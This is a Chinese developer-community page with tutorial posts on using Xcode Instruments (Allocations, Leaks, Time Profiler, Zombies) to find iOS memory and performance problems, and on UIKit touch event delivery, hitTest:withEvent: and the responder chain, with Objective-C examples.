注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

iOS Instruments使用

一、Instruments介绍Instruments 一个很灵活的、强大的工具,是性能分析、动态跟踪 和分析OS X以及iOS代码的测试工具,用它可以极为方便收集关于一个或多个系统进程的性能和行为的数据,并能及时随着时间跟踪而产生的数据,并检查所收集的数据,还...
继续阅读 »

一、Instruments介绍

Instruments 一个很灵活的、强大的工具,是性能分析、动态跟踪 和分析OS X以及iOS代码的测试工具,用它可以极为方便收集关于一个或多个系统进程的性能和行为的数据,并能及时随着时间跟踪而产生的数据,并检查所收集的数据,还可以广泛收集不同类型的数据.也可以追踪程序运行的过程,这样instrument就可以帮助我们了解用户的应用程序和操作系统的行为。

总结一下instrument能做的事情:

1. Instruments是用于动态调追踪和分析OS X和iOS的代码的性能分析和测试工具;
2.Instruments支持多线程的调试;
3.可以用Instruments去录制和回放,图形用户界面的操作过程
4.可将录制的图形界面操作和Instruments保存为模板,供以后访问使用。
instrument还可以:

1.追踪代码中的(甚至是那些难以复制的)问题;
2.分析程序的性能;
3.实现程序的自动化测试;
4.部分实现程序的压力测试;
5.执行系统级别的通用问题追踪调试;
6.使你对程序的内部运行过程更加了解。

 打开方式:
Xcode -> Open Developer Tool -> Instruments


其中比较常用的有四种:

1.Allocations:用来检查内存分配,跟踪过程的匿名虚拟内存和堆的对象提供类名和可选保留/释放历史

2.Leaks:一般的查看内存使用情况,检查泄漏的内存,并提供了所有活动的分配和泄漏模块的类对象分配统计信息以及内存地址历史记录

3.Time Profiler:分析代码的执行时间,执行对系统的CPU上运行的进程低负载时间为基础采样

4.Zombies:检查是否访问了僵尸对象

其他的:

Blank:创建一个空的模板,可以从Library库中添加其他模板

Activity Monitor:显示器处理的CPU、内存和网络使用情况统计

Automation:用JavaScript语言编写,主要用于分析应用的性能和用户行为,模仿/击发被请求的事件,利用它可以完成对被测应用的简单的UI测试及相关功能测试

Cocoa Layout:观察约束变化,找出布局代码的问题所在。

Core Animation:用来检测Core Animation性能的,给我们提供了周期性的FPS,并且考虑到了发生在程序之外的动画,界面滑动FPS可以进行测试

Core Data:监测读取、缓存未命中、保存等操作,能直观显示是否保存次数远超实际需要

Energy Diagnostic :用于Xcode下的Instruments来分析手机电量消耗的。(必须是真机才有电量)

GPU Driver :可以测量GPU的利用率,同样也是一个很好的来判断和GPU相关动画性能的指示器。它同样也提供了类似Core Animtaion那样显示FPS的工具。

Network:分析应用程序如何使用TCP / IP和UDP / IP连接使用连接仪器。就是检查手机网速的。(这个最好是真机)

二、Allocations(分配)

1.内存分类:

Leaked memory:泄漏的内存,如为对象A申请了内存空间,之后再也没用到A,也没有释放A导致内存泄漏(野指针。。。)

Abandoned memory:被遗弃的内存,如循环引用,递归不断申请内存而导致的内存泄漏

Cached memory:缓存的内存

2.Abandoned memory

其中内存泄漏我们可以用Leaks,野指针可以用Zombies(僵尸对象),而在这里我们就可以用Allocations来检测Abandoned memory的内存。


即我们采用Generational Analysis的方法来分析,反复进入退出某一场景,查看内存的分配与释放情况,以定位哪些对象是属于Abandoned Memory的范畴。

在Allocations工具中,有专门的Generational Analysis设置,如下:


我们可以在程序运行时,在进入某个模块前标记一个Generation,这样会生成一个快照。然后进入、退出,再标记一个Generation,如下图:


在详情面板中我们可以看到两个Generation间内存的增长情况,其中就可能存在潜在的被遗弃的对象,如下图:


其中growth就是我们增长的内存,GenerationA是程序启动到进入该场景增长的内存,GenerationB就是第二次进入该场景所增长的内存,查看子类可以发现有两个管理类造成了Abandoned memory

3.设置Generations

使用instrument测试内存泄露 工具 Allocations 测试是否内存泄露 使用标记,可以更省事省力的测试页面是否有内存泄露
1)设置Generations


2)选择mark generation


3)使用方法 在进入测试页面之前,mark一下----->进入页面----->退出----->mark------>进入------->退出------->mark------>进入如此往复5、6次,就可以看到如下结果


这种情况下是内存有泄露,看到每次的增量都是好几百K或者上M的,都是属于内存有泄露的,这时候就需要检测下代码一般情况

100K以下都属于正常范围,growth表示距离你上次mark的增量

三、Leaks(泄漏)

1.内存溢出和内存泄漏的区别

内存溢出 out of memory,是指程序在申请内存时,没有足够的内存空间供其使用,出现out of memory;比如申请了一个integer,但给它存了long才能存下的数,那就是内存溢出

内存泄露 memory leak,是指程序在申请内存后,无法释放已申请的内存空间,一次内存泄露危害可以忽略,但内存泄露堆积后果很严重,无论多少内存,迟早会被占光。

memory leak会最终会导致out of memory!

在前面的ALLcations里面我们提到过内存泄漏就是应该释放而没有释放的内存。而内存泄漏分为两种:Leaked Memory 和 Abandoned Memory。前面我们讲到了如何找到Abandoned Memory被遗忘的内存,现在我们研究的就是Leaked Memory

发生的方式来分类,内存泄漏可以分为4类:

常发性内存泄漏。发生内存泄漏的代码会被多次执行到,每次被执行的时候都会导致一块内存泄漏。
偶发性内存泄漏。发生内存泄漏的代码只有在某些特定环境或操作过程下才会发生。常发性和偶发性是相对的。对于特定的环境,偶发性的也许就变成了常发性的。所以测试环境和测试方法对检测内存泄漏至关重要。
一次性内存泄漏。发生内存泄漏的代码只会被执行一次,或者由于算法上的缺陷,导致总会有一块仅且一块内存发生泄漏。比如,在类的构造函数中分配内存,在析构函数中却没有释放该内存,所以内存泄漏只会发生一次。
隐式内存泄漏。程序在运行过程中不停的分配内存,但是直到结束的时候才释放内存。严格的说这里并没有发生内存泄漏,因为最终程序释放了所有申请的内存。但是对于一个服务器程序,需要运行几天,几周甚至几个月,不及时释放内存也可能导致最终耗尽系统的所有内存。所以,我们称这类内存泄漏为隐式内存泄漏。

影响:从用户使用程序的角度来看,内存泄漏本身不会产生什么危害,作为一般的用户,根本感觉不到内存泄漏的存在。真正有危害的是内存泄漏的堆积,这会最终消耗尽系统所有的内存。从这个角度来说,一次性内存泄漏并没有什么危害,因为它不会堆积,而隐式内存泄漏危害性则非常大,因为较之于常发性和偶发性内存泄漏它更难被检测到。

下边我们介绍Instruments里面的Leaked的用法,首先打开Leaked,跑起工程来,点击要测试的页面,如果有内存泄漏,会出现下图中的红色的❌。然后按照后边的步骤进行修复即可


上面的旧版的样式,下面的是新版的样式,基本操作差不多



在详情面板选中显示的若干条中的一条,双击,会自动跳到内存泄露代码处,然后点击右上角 Xcode 图标进行修改。

下图是对Leaked页面进一步的理解:


内存泄漏动态分析技巧:

1.在 Display Settings 界面建议把 Snapshot Interval (snapʃɒt, 数据快照)间隔时间设置为10秒,勾选Automatic Snapshotting,Leaks 会自动进行内存捕捉分析。(新版本直接在底部修改)

2.熟练使用 Leaks 后会对内存泄漏判断更准确,在可能导致泄漏的操作里,在你怀疑有内存泄漏的操作前和操作后,可以点击 Snapshot Now 进行手动捕捉。

3.开始时如果设备性能较好,可以把自动捕捉间隔设置为 5 秒钟。

4.使用ARC的项目,一般内存泄漏都是 malloc、自定义结构、资源引起的,多注意这些地方进行分析。

5.开启ARC后,内存泄漏的原因,开启了ARC并不是就不会存在内存问题,苹果有句名言:ARC is only for NSObject。

注:如果你的项目使用了ARC,随着你的操作,不断开启或关闭视图,内存可能持续上升,但这不一定表示存在内存泄漏,ARC释放的时机是不固定的

这里对 Display Settings中 的 Call tree 选项做一下说明 [官方user guide翻译]:

Separate By Thread:线程分离,只有这样才能在调用路径中能够清晰看到占用CPU最大的线程.每个线程应该分开考虑。只有这样你才能揪出那些大量占用CPU的"重"线程,按线程分开做分析,这样更容易揪出那些吃资源的问题线程。特别是对于主线程,它要处理和渲染所有的接口数据,一旦受到阻塞,程序必然卡顿或停止响应。

Invert Call Tree:从上到下跟踪堆栈信息.这个选项可以快捷的看到方法调用路径最深方法占用CPU耗时(这意味着你看到的表中的方法,将已从第0帧开始取样,这通常你是想要的,只有这样你才能看到CPU中花费时间最深的方法),比如FuncA{FunB{FunC}},勾选后堆栈以C->B->A把调用层级最深的C显示最外面.反向输出调用树。把调用层级最深的方法显示在最上面,更容易找到最耗时的操作。

Hide Missing Symbols:如果dSYM无法找到你的APP或者调用系统框架的话,那么表中将看到调用方法名只能看到16进制的数值,勾选这个选项则可以隐藏这些符号,便于简化分析数据.

Hide System Libraries:表示隐藏系统的函数,调用这个就更有用了,勾选后耗时调用路径只会显示app耗时的代码,性能分析普遍我们都比较关系自己代码的耗时而不是系统的.基本是必选项.注意有些代码耗时也会纳入系统层级,可以进行勾选前后前后对执行路径进行比对会非常有用.因为通常你只关心cpu花在自己代码上的时间不是系统上的,隐藏系统库文件。过滤掉各种系统调用,只显示自己的代码调用。隐藏缺失符号。如果 dSYM 文件或其他系统架构缺失,列表中会出现很多奇怪的十六进制的数值,用此选项把这些干扰元素屏蔽掉,让列表回归清爽。

Show Obj-C Only:只显示oc代码 ,如果你的程序是像OpenGl这样的程序,不要勾选侧向因为他有可能是C++的

Flatten Recursion:递归函数, 每个堆栈跟踪一个条目,拼合递归。将同一递归函数产生的多条堆栈(因为递归函数会调用自己)合并为一条。

Top Functions:找到最耗时的函数或方法。 一个函数花费的时间直接在该函数中的总和,以及在函数调用该函数所花费的时间的总时间。因此,如果函数A调用B,那么A的时间报告在A花费的时间加上B.花费的时间,这非常真有用,因为它可以让你每次下到调用堆栈时挑最大的时间数字,归零在你最耗时的方法。

四、Time Profiler(时间分析器)

用来检测app中每个方法所用的时间,并且可以排序,并查找出哪些函数占用了大量时间。

使用Time Profile前有两点需要注意的地方:

1、一定要使用真机调试

在开始进行应用程序性能分析的时候,一定要使用真机。因为模拟器运行在Mac上,然而Mac上的CPU往往比iOS设备要快。相反,Mac上的GPU和iOS设备的完全不一样,模拟器不得已要在软件层面(CPU)模拟设备的GPU,这意味着GPU相关的操作在模拟器上运行的更慢,尤其是使用CAEAGLLayer来写一些OpenGL的代码时候,这就导致模拟器性能数据和用户真机使用性能数据相去甚远

2、应用程序一定要使用发布配置

在发布环境打包的时候,编译器会引入一系列提高性能的优化,例如去掉调试符号或者移除并重新组织代码。另iOS引入一种"Watch Dog"[看门狗]机制,不同的场景下,“看门狗”会监测应用的性能,如果超出了该场景所规定的运行时间,“看门狗”就会强制终结这个应用的进程。开发者可以crashlog看到对应的日志,但Xcode在调试配置下会禁用"Watch Dog"

1)界面详情:


2)详细面板


主要是看Call Tree和Sample List这两种视图:

3)调用树


Running Time:函数运行的时间,这个时间是累积时间

Self:在栈顶次数

Symbol Name:被调用函数的符号信息

4)详情面板更多的信息选项


5)样本列表


五、Zombies(僵尸)

1.概念

翻译英文:专注于检测过度释放的“僵尸”对象。还提供了数据对象分配的类以及所有活动分配内存地址的历史。

这里我们可以看到一个词语叫“over-release”,过度释放。我们在项目中见到最多的就是“EXC_BAD_ACCESS”或者是这样的:Thread 1: Program received signal:"EXC_BAD_ACCESS",这就是访问了被释放的内存地址造成的

过度释放,是对同一个对象释放了过多的次数,其实当引用计数降到0时,对象占用的内存已经被释放掉,此时指向原对象的指针就成了“悬垂指针”,如若再对其进行任何方法的调用,(原则上)都会直接crash(然而由于某些特殊的情况,不会马上crash)。过度释放简单的说就是对release的对象再release,就是过度释放

我们需要知道这几个概念:

1、内存泄漏:对象使用完没有释放,导致内存浪费。
2、僵尸对象:已经被销毁的对象(不能再使用的对象)
3、野指针:指向僵尸对象(不可用内存)的指针。给野指针发消息会报EXC_BAD_ACCECC错误
4、空指针:没有指向储存空间的指针(里面存的是nil,也就是0)。在oc中使用空指针调中方法不会报错。

注意:为了避免野指针错误的常见方法:在对象被销毁之后,将指向对象的指针变为空指针。

对于过度释放的问题,可以直接使用Zombie,当过度释放发生时会立即停在发生问题的位置,同时结合内存分配释放历史和调用栈,可以发现问题。至于上文提到的不会crash的原因,其实有很多,比如:

对象内存释放时,所用内存并没有完全被擦除,仍有旧对象部分数据可用
原内存位置被写入同类或同样结构的数据

2.原理

我们将僵尸对象“复活”的目的:僵尸对象就是让已经释放了的对象重新复活,便于调试;是为了让已经释放了的对象在被再次访问时能够输出一些错误信息。其实这里的“复活”并不是真的复活,而是强行不死:这么说吧 相当于 他的RC=0的时候 系统再强行让他RC=1,顺便打上一个标记 zoom,等到你去掉那个沟以后 系统会把带有标记zoom的对象RC=0。

3.用法

下边是Instruments里面的Zombies的用法:

在Launch Configuration中勾选Record reference counts和Enable NSZombie detection。其中Recordreference counts是显示引用计数,Enable NSZombie detection是能够检测僵尸对象。


这样在程序运行的时候,如果发现僵尸对象它就会弹出一个对话框,点击其中“→”按钮,在屏幕的下方会显示僵尸对象的详细信息,下图可以看到僵尸对象的引用计数变化情况。


注意:Zombies模版在使用的时候会导致内存的飙升,这是因为所有被释放的对象被僵尸对象取代,并未真的释放掉,在结束Zombies时会释放,这是预知行为,这就意味着instrument里的其它工具和Zombies是不能同时使用的,Zombies会导致其它的数据不准。包括leaks,你也不应该把它加到Zombies模版中,即使这么做了结果也没什么意义。对于iOS应用来说,在用Zombies模版时使用iOS模拟器比真机要好

另外XCode也提供了手动设置NSZombieEnabled环境变量的方法,不过设置NSZombieEnabled为True后,会导致内存占用的增长,同时会影响Leaks工具的调试,这是因为设置NSZombieEnabled会用僵尸对象来代替已释放对象

点击Product菜单Edit Scheme打开该页面,然后勾选Enable Zombie Objects复选框:


最后提醒的是NSZombieEnabled只能在调试的时候使用,千万不要忘记在产品发布的时候去掉,因为NSZombieEnabled不会真正去释放dealloc对象的内存,一直开启的话,该死去的对象会一直存在,后果可想而知,自重!

六、扩展

野指针

C语言: 当我们声明1个指针变量,没有为这个指针变量赋初始值.这个指针变量的值是1个垃圾指 指向1块随机的内存空间。

OC语言: 指针指向的对象已经被回收掉了.这个指针就叫做野指针.

僵尸对象

内存回收的本质.

申请1块空间,实际上是向系统申请1块别人不再使用的空间.
释放1块空间,指的是占用的空间不再使用,这个时候系统可以分配给别人去使用.
在这个个空间分配给别人之前 数据还是存在的.
OC对象释放以后,表示OC对象占用的空间可以分配给别人.
但是再分配给别人之前 这个空间仍然存在 对象的数据仍然存在.

僵尸对象: 1个已经被释放的对象 就叫做僵尸对象.

使用野指针访问僵尸对象.有的时候会出问题,有的时候不会出问题.

当野指针指向的僵尸对象所占用的空间还没有分配给别人的时候, - 这个时候其实是可以访问的.
因为对象的数据还在.
当野指针指向的对象所占用的空间分配给了别人的时候 这个时候访问就会出问题.
所以,你不要通过1个野指针去访问1个僵尸对象.
虽然可以通过野指针去访问已经被释放的对象,但是我们不允许这么做.

僵尸对象检测.

默认情况下. Xcode不会去检测指针指向的对象是否为1个僵尸对象. 能访问就访问 不能访问就报错.

可以开启Xcode的僵尸对象检测.

那么就会在通过指针访问对象的时候,检测这个对象是否为1个僵尸对象 如果是僵尸对象 就会报错.

为什么不默认开启僵尸对象检测呢?

因为一旦开启,每次通过指针访问对象的时候.都会去检查指针指向的对象是否为僵尸对象.
那么这样的话 就影响效率了.

如何避免僵尸对象报错.

当1个指针变为野指针以后. 就把这个指针的值设置为nil

僵尸对象无法复活.

当1个对象的引用计数器变为0以后 这个对象就被释放了.
就无法取操作这个僵尸对象了. 所有对这个对象的操作都是无效的.
因为一旦对象被回收 对象就是1个僵尸对象 而访问1个僵尸对象 是没有意义.

摘自:https://blog.csdn.net/weixin_41963895/article/details/107231347

收起阅读 »

iOS-事件传递&&响应机制(二)

如果想让某个view不能处理事件(或者说,事件传递到某个view那里就断了),那么可以通过刚才提到的三种方式。比如,设置其userInteractionEnabled = NO;那么传递下来的事件就会由该view的父控件处理。例如,不想让蓝色的view接收事件...
继续阅读 »


如果想让某个view不能处理事件(或者说,事件传递到某个view那里就断了),那么可以通过刚才提到的三种方式。比如,设置其userInteractionEnabled = NO;那么传递下来的事件就会由该view的父控件处理。
例如,不想让蓝色的view接收事件,那么可以设置蓝色的view的userInteractionEnabled = NO;那么点击黄色的view或者蓝色的view所产生的事件,最终会由橙色的view处理,橙色的view就会成为最合适的view。
所以,不管视图能不能处理事件,只要点击了视图就都会产生事件,关键在于该事件最终是由谁来处理!也就是说,如果蓝色视图不能处理事件,点击蓝色视图产生的触摸事件不会由被点击的视图(蓝色视图)处理!

注意:如果设置父控件的透明度或者hidden,会直接影响到子控件的透明度和hidden。如果父控件的透明度为0或者hidden = YES,那么子控件也是不可见的!

3.3.如何寻找最合适的view

应用如何找到最合适的控件来处理事件?
1.首先判断主窗口(keyWindow)自己是否能接受触摸事件

2.触摸点是否在自己身上

3.从后往前遍历子控件,重复前面的两个步骤(首先查找数组中最后一个元素)

4.如果没有符合条件的子控件,那么就认为自己最合适处理

详述:

1.主窗口接收到应用程序传递过来的事件后,首先判断自己能否接手触摸事件。如果能,那么在判断触摸点在不在窗口自己身上
2.如果触摸点也在窗口身上,那么窗口会从后往前遍历自己的子控件(遍历自己的子控件只是为了寻找出来最合适的view)
3.遍历到每一个子控件后,又会重复上面的两个步骤(传递事件给子控件,1.判断子控件能否接受事件,2.点在不在子控件上)
4.如此循环遍历子控件,直到找到最合适的view,如果没有更合适的子控件,那么自己就成为最合适的view。
找到最合适的view后,就会调用该view的touches方法处理具体的事件。所以,只有找到最合适的view,把事件传递给最合适的view后,才会调用touches方法进行接下来的事件处理。找不到最合适的view,就不会调用touches方法进行事件处理。

注意:之所以会采取从后往前遍历子控件的方式寻找最合适的view只是为了做一些循环优化。因为相比较之下,后添加的view在上面,降低循环次数。

3.3.1.寻找最合适的view底层剖析

两个重要的方法:
hitTest:withEvent:方法
pointInside方法

3.3.1.1.hitTest:withEvent:方法

什么时候调用?

只要事件一传递给一个控件,这个控件就会调用他自己的hitTest:withEvent:方法

作用

寻找并返回最合适的view(能够响应事件的那个最合适的view)

注 意:不管这个控件能不能处理事件,也不管触摸点在不在这个控件上,事件都会先传递给这个控件,随后再调用hitTest:withEvent:方法

拦截事件的处理

1.正因为hitTest:withEvent:方法可以返回最合适的view,所以可以通过重写hitTest:withEvent:方法,返回指定的view作为最合适的view。

2.不管点击哪里,最合适的view都是hitTest:withEvent:方法中返回的那个view。

3.通过重写hitTest:withEvent:,就可以拦截事件的传递过程,想让谁处理事件谁就处理事件。

事件传递给谁,就会调用谁的hitTest:withEvent:方法。
注 意:如果hitTest:withEvent:方法中返回nil,那么调用该方法的控件本身和其子控件都不是最合适的view,也就是在自己身上没有找到更合适的view。那么最合适的view就是该控件的父控件。

所以事件的传递顺序是这样的:

 产生触摸事件->UIApplication事件队列->[UIWindow hitTest:withEvent:]->返回更合适的view->[子控件 hitTest:withEvent:]->返回最合适的view

事件传递给窗口或控件的后,就调用hitTest:withEvent:方法寻找更合适的view。所以是,先传递事件,再根据事件在自己身上找更合适的view。

     不管子控件是不是最合适的view,系统默认都要先把事件传递给子控件,经过子控件调用子控件自己的hitTest:withEvent:方法验证后才知道有没有更合适的view。即便父控件是最合适的view了,子控件的hitTest:withEvent:方法还是会调用,不然怎么知道有没有更合适的!即,如果确定最终父控件是最合适的view,那么该父控件的子控件的hitTest:withEvent:方法也是会被调用的。

技巧:想让谁成为最合适的view就重写谁自己的父控件的hitTest:withEvent:方法返回指定的子控件,或者重写自己的hitTest:withEvent:方法 return self。但是,建议在父控件的hitTest:withEvent:中返回子控件作为最合适的view!

原因在于在自己的hitTest:withEvent:方法中返回自己有时候会出现问题。因为会存在这么一种情况:当遍历子控件时,如果触摸点不在子控件A自己身上而是在子控件B身上,还要要求返回子控件A作为最合适的view,采用返回自己的方法可能会导致还没有来得及遍历A自己,就有可能已经遍历了点真正所在的view,也就是B。这就导致了返回的不是自己而是触摸点真正所在的view。所以还是建议在父控件的hitTest:withEvent:中返回子控件作为最合适的view!

例如:whiteView有redView和greenView两个子控件。redView先添加,greenView后添加。如果要求无论点击那里都要让redView作为最合适的view(把事件交给redView来处理)那么只能在whiteView的hitTest:withEvent:方法中return self.subViews[0];这种情况下在redView的hitTest:withEvent:方法中return self;是不好使的!

// 这里redView是whiteView的第0个子控件
#import "redView.h"

@implementation redView
- (UIView *)hitTest:(CGPoint)point withEvent:(UIEvent *)event{
return self;
}
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{
NSLog(@"red-touch");
}@end
// 或者
#import "whiteView.h"

@implementation whiteView
- (UIView *)hitTest:(CGPoint)point withEvent:(UIEvent *)event{
return self.subviews[0];
}
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{
NSLog(@"white-touch");
}
@end

特殊情况:

谁都不能处理事件,窗口也不能处理。

重写window的hitTest:withEvent:方法return nil

只能有窗口处理事件。

控制器的view的hitTest:withEvent:方法return nil或者window的hitTest:withEvent:方法return self

return nil的含义:

hitTest:withEvent:中return nil的意思是调用当前hitTest:withEvent:方法的view不是合适的view,子控件也不是合适的view。如果同级的兄弟控件也没有合适的view,那么最合适的view就是父控件。

寻找最合适的view底层剖析之hitTest:withEvent:方法底层做法

/********************************* hitTest:withEvent:方法底层实现********************************/

#import "WYWindow.h"
@implementation WYWindow
// 什么时候调用:只要事件一传递给一个控件,那么这个控件就会调用自己的这个方法
// 作用:寻找并返回最合适的view
// UIApplication -> [UIWindow hitTest:withEvent:]寻找最合适的view告诉系统
// point:当前手指触摸的点
// point:是方法调用者坐标系上的点
- (UIView *)hitTest:(CGPoint)point withEvent:(UIEvent *)event{
// 1.判断下窗口能否接收事件
if (self.userInteractionEnabled == NO || self.hidden == YES || self.alpha <= 0.01) return nil;
// 2.判断下点在不在窗口上
// 不在窗口上
if ([self pointInside:point withEvent:event] == NO) return nil;
// 3.从后往前遍历子控件数组
int count = (int)self.subviews.count;
for (int i = count - 1; i >= 0; i--) {
// 获取子控件
UIView *childView = self.subviews[i];
// 坐标系的转换,把窗口上的点转换为子控件上的点
// 把自己控件上的点转换成子控件上的点
CGPoint childP = [self convertPoint:point toView:childView];
UIView *fitView = [childView hitTest:childP withEvent:event];
if (fitView) {
// 如果能找到最合适的view
return fitView;
}
}
// 4.没有找到更合适的view,也就是没有比自己更合适的view
return self;
}
// 作用:判断下传入过来的点在不在方法调用者的坐标系上
// point:是方法调用者坐标系上的点
//- (BOOL)pointInside:(CGPoint)point withEvent:(UIEvent *)event
//{
// return NO;
//}
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{
NSLog(@"%s",__func__);
}
@end

hit:withEvent:方法底层会调用pointInside:withEvent:方法判断点在不在方法调用者的坐标系上。

3.3.1.2.pointInside:withEvent:方法

pointInside:withEvent:方法判断点在不在当前view上(方法调用者的坐标系上)如果返回YES,代表点在方法调用者的坐标系上;返回NO代表点不在方法调用者的坐标系上,那么方法调用者也就不能处理事件。

3.3.2.练习

屏幕上现在有一个viewA,viewA有一个subView叫做viewB,要求触摸viewB时,viewB会响应事件,而触摸viewA本身,不会响应该事件。如何实现?

- (UIView *)hitTest:(CGPoint)point withEvent:(UIEvent *)event{
UIView *view = [super hitTest:point withEvent:event];
if (view == self) {
return nil;
}
return view;
}

(四)事件的响应

4.1.触摸事件处理的整体过程

1>用户点击屏幕后产生的一个触摸事件,经过一系列的传递过程后,会找到最合适的视图控件来处理这个事件

2>找到最合适的视图控件后,就会调用控件的touches方法来作具体的事件处理touchesBegan…touchesMoved…touchedEnded…3>这些touches方法的默认做法是将事件顺着响应者链条向上传递(也就是touch方法默认不处理事件,只传递事件),将事件交给上一个响应者进行处理

4.2.响应者链条示意图

响应者链条:

在iOS程序中无论是最后面的UIWindow还是最前面的某个按钮,它们的摆放是有前后关系的,一个控件可以放到另一个控件上面或下面,那么用户点击某个控件时是触发上面的控件还是下面的控件呢,这种先后关系构成一个链条就叫“响应者链”。也可以说,响应者链是由多个响应者对象连接起来的链条。在iOS中响应者链的关系可以用下图表示


响应者对象:能处理事件的对象,也就是继承自UIResponder的对象
作用:能很清楚的看见每个响应者之间的联系,并且可以让一个事件多个对象处理。

如何判断上一个响应者

1> 如果当前这个view是控制器的view,那么控制器就是上一个响应者

2> 如果当前这个view不是控制器的view,那么父控件就是上一个响应者

响应者链的事件传递过程:

1>如果当前view是控制器的view,那么控制器就是上一个响应者,事件就传递给控制器;如果当前view不是控制器的view,那么父视图就是当前view的上一个响应者,事件就传递给它的父视图

2>在视图层次结构的最顶级视图,如果也不能处理收到的事件或消息,则其将事件或消息传递给window对象进行处理

3>如果window对象也不处理,则其将事件或消息传递给UIApplication对象

4>如果UIApplication也不能处理该事件或消息,则将其丢弃

事件处理的整个流程总结:

1.触摸屏幕产生触摸事件后,触摸事件会被添加到由UIApplication管理的事件队列中(即,首先接收到事件的是UIApplication)。

2.UIApplication会从事件队列中取出最前面的事件,把事件传递给应用程序的主窗口(keyWindow)。

3.主窗口会在视图层次结构中找到一个最合适的视图来处理触摸事件。(至此,第一步已完成)

4.最合适的view会调用自己的touches方法处理事件

5.touches默认做法是把事件顺着响应者链条向上抛。

touches的默认做法:#import "WYView.h"

@implementation WYView 
//只要点击控件,就会调用touchBegin,如果没有重写这个方法,自己处理不了触摸事件
// 上一个响应者可能是父控件
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{
// 默认会把事件传递给上一个响应者,上一个响应者是父控件,交给父控件处理
[super touchesBegan:touches withEvent:event];
// 注意不是调用父控件的touches方法,而是调用父类的touches方法
// super是父类 superview是父控件
}
@end

事件的传递与响应:

1、当一个事件发生后,事件会从父控件传给子控件,也就是说由UIApplication -> UIWindow -> UIView -> initial view,以上就是事件的传递,也就是寻找最合适的view的过程。

2、接下来是事件的响应。首先看initial view能否处理这个事件,如果不能则会将事件传递给其上级视图(inital view的superView);如果上级视图仍然无法处理则会继续往上传递;一直传递到视图控制器view controller,首先判断视图控制器的根视图view是否能处理此事件;如果不能则接着判断该视图控制器能否处理此事件,如果还是不能则继续向上传 递;(对于第二个图视图控制器本身还在另一个视图控制器中,则继续交给父视图控制器的根视图,如果根视图不能处理则交给父视图控制器处理);一直到 window,如果window还是不能处理此事件则继续交给application处理,如果最后application还是不能处理此事件则将其丢弃

3、在事件的响应中,如果某个控件实现了touches...方法,则这个事件将由该控件来接受,如果调用了[super touches….];就会将事件顺着响应者链条往上传递,传递给上一个响应者;接着就会调用上一个响应者的touches….方法

如何做到一个事件多个对象处理:

因为系统默认做法是把事件上抛给父控件,所以可以通过重写自己的touches方法和父控件的touches方法来达到一个事件多个对象处理的目的。

- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event{ 
// 1.自己先处理事件...
NSLog(@"do somthing...");
// 2.再调用系统的默认做法,再把事件交给上一个响应者处理
[super touchesBegan:touches withEvent:event];
}

事件处理的整个流程总结:

1.触摸屏幕产生触摸事件后,触摸事件会被添加到由UIApplication管理的事件队列中(即,首先接收到事件的是UIApplication)。

2.UIApplication会从事件队列中取出最前面的事件,把事件传递给应用程序的主窗口(keyWindow)。

3.主窗口会在视图层次结构中找到一个最合适的视图来处理触摸事件。(至此,第一步已完成)

4.最合适的view会调用自己的touches方法处理事件

5.touches默认做法是把事件顺着响应者链条向上抛。



收起阅读 »

iOS-事件传递&&响应机制(一)

前言:按照时间顺序,事件的生命周期:  事件的产生和传递(事件如何从父控件传递到子控件并寻找到最合适的view、寻找最合适的view的底层实现、拦截事件的处理)->找到最合适的view后事件的处理(touches方法的重写,也就是事件的响应)重点和难点是:  ...
继续阅读 »

前言:

按照时间顺序,事件的生命周期:
  事件的产生和传递(事件如何从父控件传递到子控件并寻找到最合适的view、寻找最合适的view的底层实现、拦截事件的处理)->找到最合适的view后事件的处理(touches方法的重写,也就是事件的响应)

重点和难点是:
  1.如何寻找最合适的view
  2.寻找最合适的view的底层实现(hitTest:withEvent:底层实现)

(一)iOS中的事件

iOS中的事件可以分为3大类型:
1.触摸事件

2.加速计事件

3.远程控制事件

这里我们只讨论iOS中的触摸事件。

1.1.响应者对象(UIResponder)

学习触摸事件首先要了解一个比较重要的概念-响应者对象(UIResponder)。

在iOS中不是任何对象都能处理事件,只有继承了UIResponder的对象才能接受并处理事件,我们称之为“响应者对象”。以下都是继承自UIResponder的,所以都能接收并处理事件。

UIApplication
UIWindows
UIViewController
UIView

那么为什么继承自UIResponder的类就能够接收并处理事件呢?

因为UIResponder中提供了以下4个对象方法来处理触摸事件。UIResponder内部提供了以下方法来处理事件触摸事件

- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event;
- (void)touchesMoved:(NSSet *)touches withEvent:(UIEvent *)event;
- (void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event;
- (void)touchesCancelled:(NSSet *)touches withEvent:(UIEvent *)event;
加速计事件
- (void)motionBegan:(UIEventSubtype)motion withEvent:(UIEvent *)event;
- (void)motionEnded:(UIEventSubtype)motion withEvent:(UIEvent *)event;
- (void)motionCancelled:(UIEventSubtype)motion withEvent:(UIEvent *)event;
远程控制事件
- (void)remoteControlReceivedWithEvent:(UIEvent *)event;

(二)事件的处理

下面以UIView为例来说明触摸事件的处理。

// UIView是UIResponder的子类,可以覆盖下列4个方法处理不同的触摸事件
// 一根或者多根手指开始触摸view,系统会自动调用view的下面方法
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event
// 一根或者多根手指在view上移动,系统会自动调用view的下面方法(随着手指的移动,会持续调用该方法)
- (void)touchesMoved:(NSSet *)touches withEvent:(UIEvent *)event
// 一根或者多根手指离开view,系统会自动调用view的下面方法
- (void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event
// 触摸结束前,某个系统事件(例如电话呼入)会打断触摸过程,系统会自动调用view的下面方法
- (void)touchesCancelled:(NSSet *)touches withEvent:(UIEvent *)event
// 提示:touches中存放的都是UITouch对象

需要注意的是:以上四个方法是由系统自动调用的,所以可以通过重写该方法来处理一些事件。

